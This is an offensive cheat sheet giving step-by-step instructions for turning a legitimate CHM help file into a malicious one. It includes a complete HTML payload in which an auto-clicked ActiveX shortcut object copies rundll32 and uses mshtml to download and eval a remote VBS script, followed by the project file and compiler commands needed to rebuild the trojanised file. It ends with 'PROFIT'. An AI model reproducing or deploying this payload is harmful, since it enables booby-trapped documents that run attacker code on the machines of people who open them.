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CheatSheet describing how to create malicious CHM file by hand (another approach is to use Nishang's Out-Chm scriptlet).

Procedure for generating Malicious CHM file

  • Step 0: Download and install Microsoft HTML Help Workshop and Documentation
  • Step 1: Obtain a valid CHM file and unpack it using 7-zip
  • Step 2: Find an entry-point HTML file within "docs" directory and insert the following code into it's <body> section:
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
  <PARAM name="Command" value="ShortCut">
  <PARAM name="Button" value="Bitmap::shortcut">
  <PARAM name="Item1" value=',cmd.exe,/c copy /Y C:\Windows\system32\rundll32.exe %TEMP%\out.exe > nul && %TEMP%\out.exe javascript:"\..\mshtml RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://127.0.0.1:8000/test.vbs",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im out.exe",0,true);}'>
  <PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
  x.Click();
</SCRIPT>
  • Step 3: Prepare Project.hpp file with contents like the below ones:
[OPTIONS]
Contents file=<PATH-TO-UNPACKED-CHM-DIRECTORY>\Table of Contents.hhc
[FILES]
<PATH-TO-UNPACKED-CHM-DIRECTORY>\docs\Malicious-File.htm

Add every file needed by that CHM to the FILES section. Remember to include also previously modified malicious HTM file.

  • Step 4: Compile the project within CHM directory using hpp.exe compiler:
<PATH-TO-UNPACKED-CHM-DIRECTORY> "C:\Program Files (x86)\HTML Help Workshop\hhc.exe" Project.hpp
Microsoft HTML Help Compiler 4.74.8702

Compiling <PATH-TO-UNPACKED-CHM-DIRECTORY>\Project.chm


Compile time: 0 minutes, 1 second
353     Topics
7,208   Local links
187     Internet links
2       Graphics


Created <PATH-TO-UNPACKED-CHM-DIRECTORY>\Project.chm, 817,791 bytes
Compression decreased file by 2,091,702 bytes.
  • Step 5: PROFIT.
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